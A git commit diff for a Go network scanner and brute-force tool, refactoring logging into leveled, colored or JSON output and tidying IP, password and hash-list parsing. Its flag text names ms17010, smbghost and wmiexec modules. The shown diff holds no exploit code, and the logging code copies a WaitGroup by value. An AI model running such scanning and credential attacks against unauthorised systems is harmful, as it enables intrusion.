refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑

This commit is contained in:
ZacharyZcR 2025-01-01 05:24:49 +08:00
parent d13e1952e9
commit 277ea5d332
47 changed files with 879 additions and 867 deletions

View File

@ -104,7 +104,11 @@ var (
EnableWmi bool // 原IsWmi EnableWmi bool // 原IsWmi
// 输出配置 // 输出配置
DisableSave bool // 原TmpSave DisableSave bool // 禁止保存结果
Silent bool // 静默模式
NoColor bool // 禁用彩色输出
JsonFormat bool // JSON格式输出
LogLevel string // 日志输出级别
) )
var ( var (

View File

@ -73,7 +73,7 @@ func Flag(Info *HostInfo) {
" 漏洞类: ms17010, smbghost, smb2\n"+ " 漏洞类: ms17010, smbghost, smb2\n"+
" 其他: findnet, wmiexec, localinfo") " 其他: findnet, wmiexec, localinfo")
flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)") flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)")
flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") flag.IntVar(&ThreadNum, "t", 60, "设置扫描线程数")
flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)")
flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机")
flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测") flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测")
@ -126,9 +126,9 @@ func Flag(Info *HostInfo) {
flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名") flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名")
flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果") flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果")
flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)") flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)")
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出显示") flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示")
flag.BoolVar(&JsonOutput, "json", false, "以JSON格式输出结果") flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果")
flag.Int64Var(&WaitTime, "debug", 60, "设置错误日志输出时间间隔(单位:秒)") flag.StringVar(&LogLevel, "log", LogLevelAll, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)")
flag.Parse() flag.Parse()
} }

View File

@ -1,139 +1,250 @@
package Common package Common
import ( import (
"bufio"
"encoding/json" "encoding/json"
"fmt" "fmt"
"github.com/fatih/color"
"io" "io"
"log" "log"
"os" "os"
"path/filepath"
"runtime"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/fatih/color"
) )
// 记录扫描状态的全局变量
var ( var (
Num int64 // 总任务数 // 全局变量
End int64 // 已完成数 status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
Results = make(chan *string) // 结果通道 results = make(chan *LogEntry, 1000) // 使用缓冲通道
LogSucTime int64 // 最近成功日志时间 logWG sync.WaitGroup
LogErrTime int64 // 最近错误日志时间
WaitTime int64 // 等待时间 // 扫描计数
Silent bool // 静默模式 Num int64 // 总任务数
Nocolor bool // 禁用颜色 End int64 // 已完成任务数
JsonOutput bool // JSON输出
LogWG sync.WaitGroup // 日志同步等待组
) )
// JsonText JSON输出的结构体 // 将 results 改名为 Results 使其可导出
type JsonText struct { var (
Type string `json:"type"` // 消息类型 Results = results // 使 results 可导出
Text string `json:"text"` // 消息内容 LogWG = logWG // 使 logWG 可导出
)
// ScanStatus 记录扫描状态
type ScanStatus struct {
mu sync.RWMutex
total int64
completed int64
lastSuccess time.Time
lastError time.Time
}
// LogEntry 日志条目
type LogEntry struct {
Level string // "ERROR", "INFO", "SUCCESS", "DEBUG"
Time time.Time
Content string
}
// LogLevel 定义日志等级常量
const (
LogLevelAll = "ALL" // 输出所有日志
LogLevelError = "ERROR" // 错误日志
LogLevelInfo = "INFO" // 信息日志
LogLevelSuccess = "SUCCESS" // 成功日志
LogLevelDebug = "DEBUG" // 调试日志
)
// 定义日志颜色映射
var logColors = map[string]color.Attribute{
LogLevelError: color.FgRed,
LogLevelInfo: color.FgYellow,
LogLevelSuccess: color.FgGreen,
LogLevelDebug: color.FgBlue,
}
// bufferedFileWriter 文件写入器
type bufferedFileWriter struct {
file *os.File
writer *bufio.Writer
jsonEnc *json.Encoder
} }
// init 初始化日志配置
func init() { func init() {
log.SetOutput(io.Discard) log.SetOutput(io.Discard)
LogSucTime = time.Now().Unix() go processLogs()
go SaveLog() }
// formatLogMessage 格式化日志消息
func formatLogMessage(entry *LogEntry) string {
timeStr := entry.Time.Format("2006-01-02 15:04:05")
return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content)
}
func printLog(entry *LogEntry) {
// 根据配置的日志级别过滤
if LogLevel != LogLevelAll && entry.Level != LogLevel {
return
}
logMsg := formatLogMessage(entry)
if NoColor {
fmt.Println(logMsg)
return
}
if colorAttr, ok := logColors[entry.Level]; ok {
color.New(colorAttr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
}
// 同样修改 LogError 和 LogInfo
func LogError(errMsg string) {
// 获取调用者信息
_, file, line, ok := runtime.Caller(1)
if !ok {
file = "unknown"
line = 0
}
// 只获取文件名
file = filepath.Base(file)
// 格式化错误消息
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
select {
case Results <- &LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
}:
logWG.Add(1)
default:
printLog(&LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
})
}
}
func LogInfo(msg string) {
select {
case Results <- &LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
}:
logWG.Add(1)
default:
printLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
} }
// LogSuccess 记录成功信息 // LogSuccess 记录成功信息
func LogSuccess(result string) { func LogSuccess(result string) {
LogWG.Add(1) // 添加通道关闭检查
LogSucTime = time.Now().Unix() select {
Results <- &result case Results <- &LogEntry{
} Level: LogLevelSuccess,
Time: time.Now(),
// SaveLog 保存日志信息 Content: result,
func SaveLog() { }:
for result := range Results { logWG.Add(1)
// 打印日志 status.mu.Lock()
if !Silent { status.lastSuccess = time.Now()
if Nocolor { status.mu.Unlock()
fmt.Println(*result) default:
} else { // 如果通道已关闭或已满,直接打印
switch { printLog(&LogEntry{
case strings.HasPrefix(*result, "[+] 信息扫描"): Level: LogLevelSuccess,
color.Green(*result) Time: time.Now(),
case strings.HasPrefix(*result, "[+]"): Content: result,
color.Red(*result) })
default:
fmt.Println(*result)
}
}
}
// 保存到文件
if IsSave {
WriteFile(*result, Outputfile)
}
LogWG.Done()
} }
} }
// WriteFile 写入文件 // JsonOutput JSON输出的结构体
func WriteFile(result string, filename string) { type JsonOutput struct {
// 打开文件 Level string `json:"level"`
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) Timestamp time.Time `json:"timestamp"`
Message string `json:"message"`
}
// processLogs 处理日志信息
func processLogs() {
writer := newBufferedFileWriter()
defer writer.close()
for entry := range results {
if !Silent {
printLog(entry)
}
if writer != nil {
writer.write(entry)
}
logWG.Done()
}
}
func newBufferedFileWriter() *bufferedFileWriter {
if DisableSave {
return nil
}
file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil { if err != nil {
fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) fmt.Printf("[ERROR] 打开输出文件失败 %s: %v\n", Outputfile, err)
return nil
}
writer := bufio.NewWriter(file)
return &bufferedFileWriter{
file: file,
writer: writer,
jsonEnc: json.NewEncoder(writer),
}
}
func (w *bufferedFileWriter) write(entry *LogEntry) {
if w == nil {
return return
} }
defer fl.Close()
if JsonOutput { if JsonFormat {
// 解析JSON格式 output := JsonOutput{
var scantype, text string Level: entry.Level,
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { Timestamp: entry.Time,
index := strings.Index(result[4:], " ") Message: entry.Content,
if index == -1 {
scantype = "msg"
text = result[4:]
} else {
scantype = result[4 : 4+index]
text = result[4+index+1:]
}
} else {
scantype = "msg"
text = result
} }
if err := w.jsonEnc.Encode(output); err != nil {
// 构造JSON对象 fmt.Printf("[ERROR] JSON编码失败: %v\n", err)
jsonText := JsonText{
Type: scantype,
Text: text,
} }
// 序列化JSON
jsonData, err := json.Marshal(jsonText)
if err != nil {
fmt.Printf("[-] JSON序列化失败: %v\n", err)
jsonText = JsonText{
Type: "msg",
Text: result,
}
jsonData, _ = json.Marshal(jsonText)
}
jsonData = append(jsonData, []byte(",\n")...)
_, err = fl.Write(jsonData)
} else { } else {
_, err = fl.Write([]byte(result + "\n")) logMsg := formatLogMessage(entry) + "\n"
if _, err := w.writer.WriteString(logMsg); err != nil {
fmt.Printf("[ERROR] 写入文件失败: %v\n", err)
}
} }
if err != nil { w.writer.Flush()
fmt.Printf("[-] 写入文件失败 %s: %v\n", filename, err)
}
} }
// LogError 记录错误信息 func (w *bufferedFileWriter) close() {
func LogError(errinfo interface{}) { if w != nil {
if WaitTime == 0 { w.writer.Flush()
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) w.file.Close()
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
LogErrTime = time.Now().Unix()
} }
} }

View File

@ -19,7 +19,7 @@ func Parse(Info *HostInfo) error {
return nil return nil
} }
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 // ParseUser 解析用户名配置
func ParseUser() error { func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回 // 如果未指定用户名和用户名文件,直接返回
if Username == "" && UsersFile == "" { if Username == "" && UsersFile == "" {
@ -31,7 +31,7 @@ func ParseUser() error {
// 处理直接指定的用户名列表 // 处理直接指定的用户名列表
if Username != "" { if Username != "" {
usernames = strings.Split(Username, ",") usernames = strings.Split(Username, ",")
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames)) LogInfo(fmt.Sprintf("加载用户名: %d 个", len(usernames)))
} }
// 从文件加载用户名列表 // 从文件加载用户名列表
@ -47,12 +47,12 @@ func ParseUser() error {
usernames = append(usernames, user) usernames = append(usernames, user)
} }
} }
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users)) LogInfo(fmt.Sprintf("从文件加载用户名: %d 个", len(users)))
} }
// 去重处理 // 去重处理
usernames = RemoveDuplicate(usernames) usernames = RemoveDuplicate(usernames)
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames)) LogInfo(fmt.Sprintf("用户名总数: %d 个", len(usernames)))
// 更新用户字典 // 更新用户字典
for name := range Userdict { for name := range Userdict {
@ -74,7 +74,7 @@ func ParsePass(Info *HostInfo) error {
} }
} }
Passwords = pwdList Passwords = pwdList
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList)) LogInfo(fmt.Sprintf("加载密码: %d 个", len(pwdList)))
} }
// 从文件加载密码列表 // 从文件加载密码列表
@ -89,7 +89,7 @@ func ParsePass(Info *HostInfo) error {
} }
} }
Passwords = pwdList Passwords = pwdList
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes)) LogInfo(fmt.Sprintf("从文件加载密码: %d 个", len(passes)))
} }
// 处理哈希文件 // 处理哈希文件
@ -108,10 +108,10 @@ func ParsePass(Info *HostInfo) error {
HashValues = append(HashValues, line) HashValues = append(HashValues, line)
validCount++ validCount++
} else { } else {
fmt.Printf("[-] 无效的哈希值(长度!=32): %s\n", line) LogError(fmt.Sprintf("无效的哈希值: %s (长度!=32)", line))
} }
} }
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) LogInfo(fmt.Sprintf("加载有效哈希值: %d 个", validCount))
} }
// 处理直接指定的URL列表 // 处理直接指定的URL列表
@ -126,7 +126,7 @@ func ParsePass(Info *HostInfo) error {
} }
} }
} }
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(URLs)) LogInfo(fmt.Sprintf("加载URL: %d 个", len(URLs)))
} }
// 从文件加载URL列表 // 从文件加载URL列表
@ -145,7 +145,7 @@ func ParsePass(Info *HostInfo) error {
} }
} }
} }
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls)) LogInfo(fmt.Sprintf("从文件加载URL: %d 个", len(urls)))
} }
// 从文件加载端口列表 // 从文件加载端口列表
@ -163,7 +163,7 @@ func ParsePass(Info *HostInfo) error {
} }
} }
Ports = newport.String() Ports = newport.String()
fmt.Printf("[*] 已从文件加载端口配置\n") LogInfo("从文件加载端口配置")
} }
return nil return nil
@ -174,7 +174,7 @@ func Readfile(filename string) ([]string, error) {
// 打开文件 // 打开文件
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
fmt.Printf("[-] 打开文件 %s 失败: %v\n", filename, err) LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err))
return nil, err return nil, err
} }
defer file.Close() defer file.Close()
@ -195,11 +195,11 @@ func Readfile(filename string) ([]string, error) {
// 检查扫描过程中是否有错误 // 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil { if err := scanner.Err(); err != nil {
fmt.Printf("[- 读取文件 %s 时出错: %v\n", filename, err) LogError(fmt.Sprintf("读取文件错误 %s: %v", filename, err))
return nil, err return nil, err
} }
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount) LogInfo(fmt.Sprintf("读取文件成功 %s: %d 行", filename, lineCount))
return content, nil return content, nil
} }
@ -207,25 +207,25 @@ func Readfile(filename string) ([]string, error) {
func ParseInput(Info *HostInfo) error { func ParseInput(Info *HostInfo) error {
// 检查必要的目标参数 // 检查必要的目标参数
if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" { if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" {
fmt.Println("[-] 未指定扫描目标") LogError("未指定扫描目标")
flag.Usage() flag.Usage()
return fmt.Errorf("必须指定扫描目标") return fmt.Errorf("必须指定扫描目标")
} }
// 如果是本地扫描模式,输出提示 // 如果是本地扫描模式,输出提示
if LocalScan { if LocalScan {
fmt.Println("[*] 已启用本地扫描模式") LogInfo("已启用本地扫描模式")
} }
// 配置基本参数 // 配置基本参数
if BruteThreads <= 0 { if BruteThreads <= 0 {
BruteThreads = 1 BruteThreads = 1
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThreads) LogInfo(fmt.Sprintf("暴力破解线程数: %d", BruteThreads))
} }
if DisableSave { if DisableSave {
IsSave = false IsSave = false
fmt.Println("[*] 已启用临时保存模式") LogInfo("已启用临时保存模式")
} }
// 处理端口配置 // 处理端口配置
@ -239,7 +239,7 @@ func ParseInput(Info *HostInfo) error {
} else { } else {
Ports += "," + AddPorts Ports += "," + AddPorts
} }
fmt.Printf("[*] 已添加额外端口: %s\n", AddPorts) LogInfo(fmt.Sprintf("额外端口: %s", AddPorts))
} }
// 处理用户名配置 // 处理用户名配置
@ -249,7 +249,7 @@ func ParseInput(Info *HostInfo) error {
Userdict[dict] = append(Userdict[dict], users...) Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict]) Userdict[dict] = RemoveDuplicate(Userdict[dict])
} }
fmt.Printf("[*] 已添加额外用户名: %s\n", AddUsers) LogInfo(fmt.Sprintf("额外用户名: %s", AddUsers))
} }
// 处理密码配置 // 处理密码配置
@ -257,7 +257,7 @@ func ParseInput(Info *HostInfo) error {
passes := strings.Split(AddPasswords, ",") passes := strings.Split(AddPasswords, ",")
Passwords = append(Passwords, passes...) Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords) Passwords = RemoveDuplicate(Passwords)
fmt.Printf("[*] 已添加额外密码: %s\n", AddPasswords) LogInfo(fmt.Sprintf("额外密码: %s", AddPasswords))
} }
// 处理Socks5代理配置 // 处理Socks5代理配置
@ -275,7 +275,7 @@ func ParseInput(Info *HostInfo) error {
return fmt.Errorf("Socks5代理格式错误: %v", err) return fmt.Errorf("Socks5代理格式错误: %v", err)
} }
DisablePing = true DisablePing = true
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) LogInfo(fmt.Sprintf("Socks5代理: %s", Socks5Proxy))
} }
// 处理HTTP代理配置 // 处理HTTP代理配置
@ -299,7 +299,7 @@ func ParseInput(Info *HostInfo) error {
if err != nil { if err != nil {
return fmt.Errorf("代理格式错误: %v", err) return fmt.Errorf("代理格式错误: %v", err)
} }
fmt.Printf("[*] 使用代理: %s\n", HttpProxy) LogInfo(fmt.Sprintf("HTTP代理: %s", HttpProxy))
} }
// 处理Hash配置 // 处理Hash配置
@ -315,7 +315,7 @@ func ParseInput(Info *HostInfo) error {
for _, hash := range HashValues { for _, hash := range HashValues {
hashByte, err := hex.DecodeString(hash) hashByte, err := hex.DecodeString(hash)
if err != nil { if err != nil {
fmt.Printf("[-] Hash解码失败: %s\n", hash) LogError(fmt.Sprintf("Hash解码失败: %s", hash))
continue continue
} }
HashBytes = append(HashBytes, hashByte) HashBytes = append(HashBytes, hashByte)

View File

@ -23,16 +23,16 @@ var ParseIPErr = errors.New("主机解析错误\n" +
"192.168.1.1-192.168.255.255 (IP范围)\n" + "192.168.1.1-192.168.255.255 (IP范围)\n" +
"192.168.1.1-255 (最后一位简写范围)") "192.168.1.1-255 (最后一位简写范围)")
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取 // ParseIP 解析IP地址配置
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (192.168.0.0/16:80) // 处理主机和端口组合的情况
if filename == "" && strings.Contains(host, ":") { if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":") hostport := strings.Split(host, ":")
if len(hostport) == 2 { if len(hostport) == 2 {
host = hostport[0] host = hostport[0]
hosts = ParseIPs(host) hosts = ParseIPs(host)
Ports = hostport[1] Ports = hostport[1]
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports) LogInfo(fmt.Sprintf("已解析主机端口组合,端口设置为: %s", Ports))
} }
} else { } else {
// 解析主机地址 // 解析主机地址
@ -42,10 +42,10 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
if filename != "" { if filename != "" {
fileHosts, err := Readipfile(filename) fileHosts, err := Readipfile(filename)
if err != nil { if err != nil {
fmt.Printf("[-] 读取主机文件失败: %v\n", err) LogError(fmt.Sprintf("读取主机文件失败: %v", err))
} else { } else {
hosts = append(hosts, fileHosts...) hosts = append(hosts, fileHosts...)
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) LogInfo(fmt.Sprintf("从文件加载额外主机: %d 个", len(fileHosts)))
} }
} }
} }
@ -72,13 +72,13 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
} }
hosts = newHosts hosts = newHosts
sort.Strings(hosts) sort.Strings(hosts)
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts)) LogInfo(fmt.Sprintf("已排除指定主机: %d 个", len(excludeHosts)))
} }
} }
// 去重处理 // 去重处理
hosts = RemoveDuplicate(hosts) hosts = RemoveDuplicate(hosts)
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts)) LogInfo(fmt.Sprintf("最终有效主机数量: %d", len(hosts)))
// 检查解析结果 // 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
@ -102,40 +102,28 @@ func ParseIPs(ip string) (hosts []string) {
return hosts return hosts
} }
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
func parseIP(ip string) []string { func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`) reg := regexp.MustCompile(`[a-zA-Z]+`)
switch { switch {
// 处理常用内网IP段简写
case ip == "192": case ip == "192":
return parseIP("192.168.0.0/8") return parseIP("192.168.0.0/8")
case ip == "172": case ip == "172":
return parseIP("172.16.0.0/12") return parseIP("172.16.0.0/12")
case ip == "10": case ip == "10":
return parseIP("10.0.0.0/8") return parseIP("10.0.0.0/8")
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
case strings.HasSuffix(ip, "/8"): case strings.HasSuffix(ip, "/8"):
return parseIP8(ip) return parseIP8(ip)
// 处理CIDR格式 (/24 /16 /8等)
case strings.Contains(ip, "/"): case strings.Contains(ip, "/"):
return parseIP2(ip) return parseIP2(ip)
// 处理域名 - 保留域名格式
case reg.MatchString(ip): case reg.MatchString(ip):
return []string{ip} return []string{ip}
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
case strings.Contains(ip, "-"): case strings.Contains(ip, "-"):
return parseIP1(ip) return parseIP1(ip)
// 处理单个IP地址
default: default:
testIP := net.ParseIP(ip) testIP := net.ParseIP(ip)
if testIP == nil { if testIP == nil {
fmt.Printf("[-] 无效的IP地址格式: %s\n", ip) LogError(fmt.Sprintf("无效的IP格式: %s", ip))
return nil return nil
} }
return []string{ip} return []string{ip}
@ -144,18 +132,15 @@ func parseIP(ip string) []string {
// parseIP2 解析CIDR格式的IP地址段 // parseIP2 解析CIDR格式的IP地址段
func parseIP2(host string) []string { func parseIP2(host string) []string {
// 解析CIDR
_, ipNet, err := net.ParseCIDR(host) _, ipNet, err := net.ParseCIDR(host)
if err != nil { if err != nil {
fmt.Printf("[-] CIDR格式解析失败: %s, %v\n", host, err) LogError(fmt.Sprintf("CIDR格式解析失败: %s, %v", host, err))
return nil return nil
} }
// 转换为IP范围并解析
ipRange := IPRange(ipNet) ipRange := IPRange(ipNet)
hosts := parseIP1(ipRange) hosts := parseIP1(ipRange)
LogInfo(fmt.Sprintf("解析CIDR %s -> IP范围 %s", host, ipRange))
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
return hosts return hosts
} }
@ -169,50 +154,46 @@ func parseIP1(ip string) []string {
if len(ipRange[1]) < 4 { if len(ipRange[1]) < 4 {
endNum, err := strconv.Atoi(ipRange[1]) endNum, err := strconv.Atoi(ipRange[1])
if testIP == nil || endNum > 255 || err != nil { if testIP == nil || endNum > 255 || err != nil {
fmt.Printf("[-] IP范围格式错误: %s\n", ip) LogError(fmt.Sprintf("IP范围格式错误: %s", ip))
return nil return nil
} }
// 解析IP段
splitIP := strings.Split(ipRange[0], ".") splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3]) startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1]) endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".") prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil { if startNum > endNum || err1 != nil || err2 != nil {
fmt.Printf("[-] IP范围无效: %d-%d\n", startNum, endNum) LogError(fmt.Sprintf("IP范围无效: %d-%d", startNum, endNum))
return nil return nil
} }
// 生成IP列表
for i := startNum; i <= endNum; i++ { for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
} }
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum) LogInfo(fmt.Sprintf("生成IP范围: %s.%d - %s.%d", prefixIP, startNum, prefixIP, endNum))
} else { } else {
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255) // 处理完整IP范围格式
splitIP1 := strings.Split(ipRange[0], ".") splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".") splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 { if len(splitIP1) != 4 || len(splitIP2) != 4 {
fmt.Printf("[-] IP格式错误: %s\n", ip) LogError(fmt.Sprintf("IP格式错误: %s", ip))
return nil return nil
} }
// 解析起始和结束IP
start, end := [4]int{}, [4]int{} start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ { for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i]) ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i]) ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil { if ip1 > ip2 || err1 != nil || err2 != nil {
fmt.Printf("[-] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) LogError(fmt.Sprintf("IP范围无效: %s-%s", ipRange[0], ipRange[1]))
return nil return nil
} }
start[i], end[i] = ip1, ip2 start[i], end[i] = ip1, ip2
} }
// 将IP转换为数值并生成范围内的所有IP
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
@ -224,7 +205,7 @@ func parseIP1(ip string) []string {
allIP = append(allIP, ip) allIP = append(allIP, ip)
} }
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1]) LogInfo(fmt.Sprintf("生成IP范围: %s - %s", ipRange[0], ipRange[1]))
} }
return allIP return allIP
@ -232,36 +213,27 @@ func parseIP1(ip string) []string {
// IPRange 计算CIDR的起始IP和结束IP // IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string { func IPRange(c *net.IPNet) string {
// 获取起始IP
start := c.IP.String() start := c.IP.String()
// 获取子网掩码
mask := c.Mask mask := c.Mask
// 计算广播地址(结束IP)
bcst := make(net.IP, len(c.IP)) bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP) copy(bcst, c.IP)
// 通过位运算计算最大IP地址
for i := 0; i < len(mask); i++ { for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1 ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
} }
end := bcst.String() end := bcst.String()
// 返回"起始IP-结束IP"格式的字符串
result := fmt.Sprintf("%s-%s", start, end) result := fmt.Sprintf("%s-%s", start, end)
fmt.Printf("[*] CIDR范围: %s\n", result) LogInfo(fmt.Sprintf("CIDR范围: %s", result))
return result return result
} }
// Readipfile 从文件中按行读取IP地址 // Readipfile 从文件中按行读取IP地址
func Readipfile(filename string) ([]string, error) { func Readipfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err))
return nil, err return nil, err
} }
defer file.Close() defer file.Close()
@ -270,54 +242,47 @@ func Readipfile(filename string) ([]string, error) {
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines) scanner.Split(bufio.ScanLines)
// 逐行处理IP
for scanner.Scan() { for scanner.Scan() {
line := strings.TrimSpace(scanner.Text()) line := strings.TrimSpace(scanner.Text())
if line == "" { if line == "" {
continue continue
} }
// 解析IP:端口格式
text := strings.Split(line, ":") text := strings.Split(line, ":")
if len(text) == 2 { if len(text) == 2 {
port := strings.Split(text[1], " ")[0] port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port) num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 { if err != nil || num < 1 || num > 65535 {
fmt.Printf("[-] 忽略无效端口: %s\n", line) LogError(fmt.Sprintf("忽略无效端口: %s", line))
continue continue
} }
// 解析带端口的IP地址
hosts := ParseIPs(text[0]) hosts := ParseIPs(text[0])
for _, host := range hosts { for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
} }
fmt.Printf("[*] 已解析IP端口组合: %s\n", line) LogInfo(fmt.Sprintf("解析IP端口组合: %s", line))
} else { } else {
// 解析纯IP地址
hosts := ParseIPs(line) hosts := ParseIPs(line)
content = append(content, hosts...) content = append(content, hosts...)
fmt.Printf("[*] 已解析IP地址: %s\n", line) LogInfo(fmt.Sprintf("解析IP地址: %s", line))
} }
} }
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil { if err := scanner.Err(); err != nil {
fmt.Printf("[-] 读取文件时出错: %v\n", err) LogError(fmt.Sprintf("读取文件错误: %v", err))
return content, err return content, err
} }
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content)) LogInfo(fmt.Sprintf("从文件解析完成: %d 个IP地址", len(content)))
return content, nil return content, nil
} }
// RemoveDuplicate 对字符串切片进行去重 // RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string { func RemoveDuplicate(old []string) []string {
// 使用map存储不重复的元素
temp := make(map[string]struct{}) temp := make(map[string]struct{})
var result []string var result []string
// 遍历并去重
for _, item := range old { for _, item := range old {
if _, exists := temp[item]; !exists { if _, exists := temp[item]; !exists {
temp[item] = struct{}{} temp[item] = struct{}{}
@ -335,7 +300,7 @@ func parseIP8(ip string) []string {
testIP := net.ParseIP(realIP) testIP := net.ParseIP(realIP)
